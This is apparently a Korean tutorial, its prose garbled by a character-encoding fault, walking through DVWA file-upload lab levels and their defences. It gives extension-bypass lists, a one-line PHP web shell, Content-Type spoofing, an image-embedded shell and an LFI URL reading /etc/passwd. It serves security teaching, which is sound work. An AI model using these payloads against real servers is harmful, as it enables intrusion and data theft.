Vulnerability: File Upload
νμΌ μ λ‘λ(File Upload) μ·¨μ½μ μ 곡격μκ° Server Side Script μ½λκ° ν¬ν¨λ νμΌμ μ¬λ €μ μ½λλ₯Ό μ€ννλ 곡격μ΄λ€.
ν΅μμ μΌλ‘ μΉμ(webshell)μ μ΄μ©νκΈ° λλ¬Έμ μΉμ 곡격μ΄λΌκ³ μκ°νλ©΄λλ€.
μΌλ°μ μΌλ‘ μΉμ μ λ‘λ μ·¨μ½μ μ λ€μκ³Ό κ°μ νμ₯μλ₯Ό κ°μ§λ νμΌμ΄ μ λ‘λ κ°λ₯ν κ²½μ°μ λ°μνκ² λλ€.
(Blacklisting Bypass)
PHP β .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP β .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp β .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion β .cfm, .cfml, .cfc, .dbm
Perl β .pl, .cgi
Using random capitalization β .pHp, .pHP5, .PhAr
(Whitelisting Bypass)
file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg
DVWA File Upload μ€μ΅
μ€μ΅ νκ²½
- Windows Dockerλ₯Ό μ΄μ©ν DVWA
- Windows νκ²½μ Burp Suite
DVWA μ€μ΅ λ¬Έμ μ κ²½μ° PHP κΈ°λ°μ μΉ μ ν리μΌμ΄μ μ΄λ€. PHP μ½λλ₯Ό μ€νν μ μλ νμΌμ΄ μ λ‘λ κ°λ₯νμ§ μ κ²νλ€.


Security Level: Low
Low λ 벨μ κ²½μ°, μ λ‘λ νμΌμ λν κ²μ¬κ° μκΈ° λλ¬Έμ php νμ₯μμ λν μ λ‘λκ° κ°λ₯νλ€.
μλμ κ°μ΄ νμ€ μΉμ<?php system($_GET['cmd']) ?>μ΄ ν¬ν¨λ μ½λλ₯Ό μ½μ ν΄ μ€ μ μλ€.
<pre>
<?php system($_GET['cmd']) ?>
</pre>


μμ κ°μ΄ μ½μ νκ³ λλ©΄ μ λ‘λκ° λμλ€λ λ©μμ§μ ν¨κ» νμΌμ μ λ‘λ μμΉλ₯Ό μλ €μ€λ€.

../../hackable/uploads/cmd.php
μμ κ°μ κ²½λ‘μ νμΌμ΄ μμΉνλ κ²μ μ μ μλλ°, μ΄κ²μ νμ¬ μμΉμμ μκ°νλ©΄ λλ²μ μμ λλ ν°λ¦¬μμ upload λλ ν°λ¦¬μ ν΄λΉ νμΌμ΄ μ‘΄μ¬νλ€λ κ²μ μλ―Ένλ€. μ΄λ₯Ό URLμ£Όμλ‘ λ°κΏλ³΄λ©΄ λ€μκ³Ό κ°λ€.
http://localhost/hackable/uploads/cmd.php
μμ μ£Όμλ₯Ό μ λ ₯ν΄μ£Όκ³ ?λ₯Ό λΆμ¬μ λ€μ cmd νλΌλ―Έν°μ μνλ λͺ λ Ήμ΄λ₯Ό μ½μ ν΄μ€λ€.
cmd=cat ../../../../../../etc/passwd
μμ κ°μ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄μ£Όλ©΄ λ€μκ³Ό κ°μ κ²°κ³Όκ° λμ¨λ€.

μΉμμ΄ μ μμ μΌλ‘ μ λ‘λ λμκ³ , μ€νλμ΄ λ΄λΆ μ 보λ₯Ό νμΈν μ μλ€λ κ²μ΄ νμΈλμλ€.
Security Level: Medium
Medium λ 벨μ κ²½μ°, μ λ‘λν νμΌμ MIME-Typeμ μ κ²νκ³ μλ€. MIME νμμ΄ image/jpegμ image/pngμΈ κ²½μ°μλ§ νμΌμ μ λ‘λλ₯Ό νμ©νλ€. jpeg, png νμ₯μ λ§μ μ λ‘λ κ°λ₯νλλ‘ νκ³ μλ κ²μ΄λ€.
MIME-Typeμ μΉ λΈλΌμ°μ κ° νμ₯μλ₯Ό κΈ°λ°μΌλ‘ MIMEμ κ²°μ ν΄μ μ λ¬νκ² λλ€.
μΉ λΈλΌμ°μ λ νμ₯μλ₯Ό κΈ°λ°μΌλ‘ MIMEμ κ²°μ νκΈ° λλ¬Έμ cmd.php νμΌμ νμ₯μλ₯Ό λ€λ₯Έ νμ₯μλ‘ λ³κ²½νμ¬ μ λ‘λνλ κ³Όμ μμ μΉ νλ‘μ(Burp Suite)λ₯Ό μ΄μ©νμ¬ νμ₯μλ₯Ό λ³μ‘°νμ¬ MIME-Typeμ μμ΄κ±°λ, cmd.php νμΌμ μ λ‘λ νλ κ³Όμ μμ MIME-Typeμ νμ©νλ νμμΌλ‘ λ³μ‘°νλ λ°©μμΌλ‘ μ°νκ° κ°λ₯νλ€.



μμ κ°μ΄ Content-Typeμ λ³μ‘°νμ¬ μ°νκ° κ°λ₯νλ€.
μ λ‘λ νκ³ λλ©΄ Low λ 벨과 κ°μ΄ μ λ‘λ νμΌμ κ²½λ‘κ° λμ€κΈ° λλ¬Έμ μ΄λ₯Ό κ·Έλλ‘ URLμ μ λ ₯νκ³ cmd λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄μ£Όλ©΄ λλ€.

http://localhost/hackable/uploads/cmd.php?cmd=cat%20../../../../../../etc/passwd


Security Level: High
High λ 벨μ κ²½μ°, νμΌμ νμ₯μμ λνμ¬ λμλ¬Έμ ꡬλΆμμ΄ jpg, jpeg, png μΈ κ²½μ°μλ§ νμΌ μ λ‘λλ₯Ό νμ©νλ€. λν getimagesize() ν¨μκ° FALSEκ° μλμ΄μΌ νλλ°, μ€μ μ΄λ―Έμ§ νμΌμ΄ μλ κ²½μ°μλ getimagesizeμ return κ°μ΄ FASLEμ΄λ€.
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
cmd.php νμΌμ cmd.pngλ‘ νμ₯μλ§ λ³κ²½ν κ²½μ°, νμ₯μλ pngμ΄μ§λ§ λ΄μ©μ΄ νλ¬ΈνμΌμ΄κΈ° λλ¬Έμ μ€μ μ΄λ―Έμ§κ° μλλ―λ‘ getimagesize()μ λ°νκ°μ΄ FALSEμ΄κΈ° λλ¬Έμ λ€μκ³Ό κ°μ΄ κ±°λΆλλ€.


μμ ν±λ κ·Έλ¦Ό λ΄λΆμ μΉμμ μ½μ νμ¬ μκ·Έλμ²λ₯Ό κ·Έλλ‘ μ΄μ©νμ¬ μ΄λ―Έμ§ νμΌλ‘ μ·¨κΈλμ΄ μ μμ μΌλ‘ μ λ‘λ λλ κ²μ νμΈν μ μμλ€. (μ΄λ―Έμ§ νμΌμ λμ νλ¬ΈμΌλ‘ PHP μ½λλ₯Ό λ§ λΆμ¬λ μ μμ μΈ μ΄λ―Έμ§λ‘ μΈμνλ€.)

μμ κ°μ΄ Hex Editor, HxDλ₯Ό μ΄μ©νμ¬ μ΄λ―Έμ§μ λ§μ§λ§μ μΉμμ μ½μ νλ€.
<pre>
<?php system($_GET['cmd']) ?>
</pre>
ν΄λΉ μ΄λ―Έμ§λ₯Ό μ λ‘λν΄λ³΄λ©΄ λ€μκ³Ό κ°λ€.


μμ κ°μ΄ μ μμ μΌλ‘ μ λ‘λλλ κ²μ νμΈν μ μλ€.

νμ§λ§ μμ κ°μ΄ μ΄λ―Έμ§ νμΌλ‘λ§ μΈμλμ΄ μ€νλμ§ μλλ€.
ν΄λΉ νμΌμ png νμ₯μλ₯Ό κ°μ§κ³ μκ³ λ΄μ©λ μ μμ μΈ μ΄λ―Έμ§μ΄κΈ° λλ¬Έμ μΉ λΈλΌμ°μ λ‘ μ΄μ΄λ μ΄λ―Έμ§λ§ μΆλ ₯λκ³ λ΄λΆμ PHP μ½λλ μ€νλμ§ μλλ€. μ€μ§μ μΌλ‘ νμΌ μ λ‘λ μ·¨μ½μ μ΄ μ¨μ νκ² λ°©μ΄λ κ²μ΄λ€.

μΉ μ·¨μ½μ λΆμμμ Vulnerability: File Upload high levelμ μ·¨μ½μ μ΄ μλ€κ³ κ²°λ‘ μ λ΄λ¦΄ μ μλ€. νμ§λ§ μ¬κΈ°μ μ λ‘λν μ΄λ―Έμ§ μΉ μμ μ€νν μ μλ λ°©λ²μ΄ νκ°μ§ μλ€. λ°λ‘ LFI μ·¨μ½μ μ μ΄μ©νλ κ²μ΄λ€. μ΄ κ²½μ°μλ LFI μ·¨μ½μ μ΄λ―λ‘ Vulnerability: File Upload high levelμ ν΄λΉνλ νμΌ μ λ‘λ μ·¨μ½μ μ΄λΌκ³ λ³Ό μλ μλ€.
LFI μ·¨μ½μ - νμΌμ λ‘λ
μ΄λ―Έμ§ μΉ μ, μ¦ μ΄λ―Έμ§μ μ½μ λ μΉ μμ μΌλ°μ μΈ λ°©λ²μΌλ‘λ μ€νμ΄ λΆκ°λ₯νλ€. νμ§λ§ ν΄λΉ μΉμ LFI μ·¨μ½μ μ΄ μλ€λ©΄ Includeλ₯Ό μ΄μ©νμ¬ ν΄λΉ μ΄λ―Έμ§μ λ΄μ©μ κ°μ Έμμ μΉμλ‘μ μ΄μ©μ΄ κ°λ₯νλ€.
λ§μΉ¨ Vulnerability: File Upload high levelμμ μ λ‘λν μ΄λ―Έμ§ μΉμμ κ²½μ°, Vulnerability: File Inclusion high levelμ μ·¨μ½μ μ΄ μ‘΄μ¬νλ―λ‘ μ΄λ₯Ό μ΄μ©ν΄λ³Έλ€.

κ·Έ κ²°κ³Ό ν΄λΉ μ΄λ―Έμ§λ₯Ό λΆλ¬μμ νλΌλ―Έν° κ°μ λ£μ΄μ€ κ²°κ³Ό μμ κ°μ΄ μΉμλ‘μ μ΄μ©μ΄ κ°λ₯ν κ²μ νμΈν μ μλ€.
http://localhost/vulnerabilities/fi/?page=file:///../../../../../../var/www/html/hackable/uploads/cmd.png&cmd=cat%20/../../../../../../etc/passwd
μ¬κΈ°μ λ€μκΈ LFI μ·¨μ½μ μ체λ λ§€μ° λλ¬Όκ² λνλλ μ·¨μ½μ μ΄μ§λ§, μ΄λ€ ννλ‘λ νμΌμ μ λ‘λνλ κΈ°λ₯μ΄ μμΌλ©΄ 'νμ₯μλ₯Ό λΆλ¬Ένλ μΉμ' μ λ§λ€ μ μλ μ·¨μ½μ μ΄λ―λ‘ λ§€μ° μννλ€λ κ²μ μ μ μλ€.
Security Level: Impossible
Impossible λ 벨μ κ²½μ°, μ λ‘λν μλ³Έ μ΄λ―Έμ§λ‘λΆν° MIME νμμ λ°λΌ PHPμ imagecreatefromjpeg() ν¨μλ imagecreatefrompng() ν¨μλ₯Ό μ΄μ©νμ¬ μλ‘μ΄ μ΄λ―Έμ§λ₯Ό λ§λ€κ³ μλ€.
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
} else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
μ΄ λ ν¨μμ κ²½μ°, μ΄λ―Έμ§λ§μ μ²λ¦¬νκΈ° λλ¬Έμ μ΄λ―Έμ§ λ°μ΄ν°κ° μλ λΆλΆμ λͺ¨λ λ²λ¦°λ€. κ·Έ λλ¬Έμ Exif λ°μ΄ν°λ μ§μμ§λ ν¨κ³Όκ° λ°μνλ€. μλ‘ μμ±ν μ΄λ―Έμ§μλ λ³λμ Exif μ λ³΄κ° μ½μ λκ³ , μλ³Έ μ΄λ―Έμ§λ μλ²μ μ μ₯νμ§ μκ³ λ²λ¦¬λ κ²μ λ³Ό μ μλ€.
Exif(Exchangeable image file format, κ΅ν μ΄λ―Έμ§ νμΌ νμ)λ μ£Όλ‘ λμ§νΈ μΉ΄λ©λΌμμ μ¬μ§μ΄λ μμ± νμΌ μμ νμΌμ μ 보μ κ΄λ ¨ μμ±μ μ μ₯νκΈ° μν΄μ μ¬μ©νλ λ©νλ°μ΄ν° κΈ°λ‘ νμ€μ΄λ€. 촬μ μκ°, 촬μ μμΉ, μ΄μ 거리, μ¬μ§ ν¬κΈ°, μ ν° μλ, μΉ΄λ©λΌ κΈ°μ’ , μΉ΄λ©λΌ μ μ‘°μ¬ λ± λ§€μ° λ€μν μ 보λ₯Ό κΈ°λ‘ν μ μλ€. μ΄λ―Έμ§ νμΌμ λ΄λΆμ μ μ₯λλ κ²μ΄ ν° μ₯μ μΌλ‘ λ³λμ κ΄λ¦¬λ₯Ό νμλ‘ νμ§ μλλ€.
μ΄κ²μ μ΄ν΄λ³΄μλ©΄ λ€μκ³Ό κ°λ€.
μ€μ λ‘ μ λ‘λ ν΄λ³Έ ν μ°¨μ΄λ₯Ό νμΈν΄λ³Έ κ²°κ³Όμ΄λ€.
μ°μ μ무κ²λ λ°λμ§ μλ High λ 벨μ μ λ‘λν νμΌκ³Ό μ λ‘λ ν νμΌμ λ€μ΄λ‘λ λ°μ exiftoolμ μ΄μ©νμ¬ λΉκ΅ν΄λ³Έ κ²°κ³Όμ΄λ€.


μμ λ νμΌμ λνμ¬ μ΄ν΄λ³΄λ©΄ λ³κ²½μ μ΄ μλ κ²μ νμΈν μ μλ€. νμ§λ§ Impossible λ 벨μ κ²½μ° λ€μκ³Ό κ°μ΄ λ€λ₯Έ κ²°κ³Όλ₯Ό νμΈν μ μλ€.

μ λ‘λ νλ©΄ μμ κ°μ΄ μ μ₯ μμΉμ μ΄λ¦μ μ μ μλλ‘ μ λ‘λ λλλ°, μ λ‘λν νμΌκ³Ό μ λ‘λ ν λ€μ΄λ‘λ λ°μ νμΌμ νμΈν΄λ³΄λ©΄ λ€μκ³Ό κ°λ€.


μμ λ κ°μ νμΈν΄λ³΄λ©΄ μ΄λ―Έμ§μ μ λ³΄κ° λ°λμ΄ μλ κ²μ νμΈν΄λ³Ό μ μλ€. λν λ€μκ³Ό κ°μ΄ μ΄λ―Έμ§ μΉ μλ‘μ μ΄λ―Έμ§ λμ μ½μ ν νλ¬Έ PHP μΉμ ꡬ문μ λνμ¬ ν΄λΉ λΆλΆμ΄ μ§μμ§ κ²μ νμΈν μ μλ€.


μμ κ°μ΄ μ΄λ―Έμ§κ° μ¬μμ±λλ©΄μ, μ½μ λ PHP μΉμμ μμ ν΄λ²λ¦° κ²μ νμΈν μ μλ€.

보μ vs κ°μ©μ±
μ΄κ²μ μ€μ§μ μΌλ‘ μλ²½νλ€ λͺ»ν΄ κ³Όνλ€κ³ λ λ³Ό μ μλ 보μμ΄λΌκ³ ν μ μλ€.
μ΄λ―Έμ§ μ λ‘λ κΈ°λ₯μ μμ΄μ νμ€μ μΌλ‘ High λ 벨μ λ°©μ΄λ²μ΄ κ°μ₯ λμ μμ€μ΄λΌκ³ 보μλ 무방νλ€. (λ¬Όλ‘ μλ³Έ νμΌμ΄λ¦μ λ³κ²½νμ§ μκ³ μ μ₯νκ³ , μ μ₯ κ²½λ‘λ₯Ό κ·Έλλ‘ λ³΄μ¬μ£Όλ κ²μ μμ ν΄μΌν λΆλΆμ΄κΈ°λ νμ§λ§, LFI μ·¨μ½μ μ΄ μλ€λ©΄ ν΄λΉ νμΌμ μ€νν μ μκΈ° λλ¬Έμ λμ μμ€μ΄λΌκ³ λ³Έλ€.)
κ·Έλ°λ° Impossible λ 벨μ κ²½μ°μλ Exif(Exchangeable image file format) μ 보κΉμ§ λͺ¨λ μ§μ°κ³ μλλ°, μΌλ°μ μΌλ‘ μ¬μ§μλ λ€μ μ€μν μ 보λ€μ΄ Exif λ°μ΄ν°μ λ΄κ²¨μ Έ μμ΄μ μ΄λ₯Ό μμ νλ κ²μ μλΉμ€μ μ§μ₯μ μ€ κ°λ₯μ±μ΄ μλ€λ κ²μ΄λ€.
μ΄κ²μ 보μκ³Ό κ°μ©μ±μ΄ μμΆ©νλ κ²μ΄λΌκ³ λ³Ό μ μλλ°, 보μμ΄ κ°μ©μ±μ μ΄κ²¨μλ μλλ€.
μ λ‘λν νμΌκ³Ό μ λ‘λ ν λ€μ΄λ‘λ λ°μ νμΌμ μ΄λ―Έμ§μ μΌλ‘λ§ λ³΄λ©΄ λ νμΌμ΄ λμΌν μ΄λ―Έμ§μΈ κ²μ²λΌ 보μΈλ€. νμ§λ§ μ€μ λ‘λ μ ν λ€λ₯Έ νμΌμ΄λΌλ κ²μ΄λ€. μ΄λ° λ°©μμΌλ‘ μ΄λ―Έμ§ νμΌμ μ¬μμ±νμ¬ μλ²μ μ μ₯νλ©΄ μΉμ μ λ‘λλ LFI μ·¨μ½μ μ μ μ©λλ κ²μ μμ νκ² λ°©μ΄ν μ μμ κ²μ΄λ€.
κ·Έλ¬λ μ€μ μλΉμ€μμλ μ΄λ¬ν λ°©μμ μ·¨νλ κ²μ μ΄λ €μΈ μ μλ€.
1. μ¬μ©μκ° μ λ‘λνλ μ΄λ―Έμ§λ₯Ό μ‘°μνλ κ²μ λν μ μκΆ λ¬Έμ κ° λ°μν μ μλ€.
(μ΄λ―Έμ§μ μ λ³΄κ° λ΄κ²¨μλ λΆλΆμ λ³κ²½νκΈ° λλ¬Έμ μ μκΆ λ¬Έμ λ₯Ό κ³ λ €ν΄μΌ νλ€.)
2. μ΄λ―Έμ§λ₯Ό μ¬μ²λ¦¬νλ μμ μ μλ²μ λΆλ΄μ μ€ κ°λ₯μ±μ΄ λλ€.
3. μ΅κ·Όμ μ΄λ―Έμ§λ μ£Όλ‘ μ¬μ§μΌλ‘, λ΄λΆμλ μμΉμ 보μ κ°μ λ€μν μ λ³΄κ° μ 곡λλ€.
(μ΄κ²μ΄ μ μ₯λμ΄ μλ Exifλ₯Ό μ κ±°νλ κ²½μ° μ΄λ¬ν μ 보λ₯Ό λͺ¨λ μκ²λλ κ²°κ³Όλ₯Ό μ΄λν μ μλ€.)
μμ κ°μ μ΄μ μμ μ€μ μλΉμ€μμλ Vulnerability: File Upload high levelμ κ²μ¦ λ°©μμ΄ κ°μ₯ μμ νκ² μ¬μ©ν μ μλ μΉμμ λ‘λ λ°©μ΄λ²μ΄λΌκ³ ν μ μλ€. (λ¬Όλ‘ μμμ λ§νλ―μ΄ νμΌλͺ μ κ·Έλλ‘ μ μ₯νλ κ²μ μμ ν΄μΌν νμκ° μμ§λ§ λ§μ΄λ€.)
μ§λ¬Έ νμ, μμ λ° λ³΄μμ λν μ§μ νμ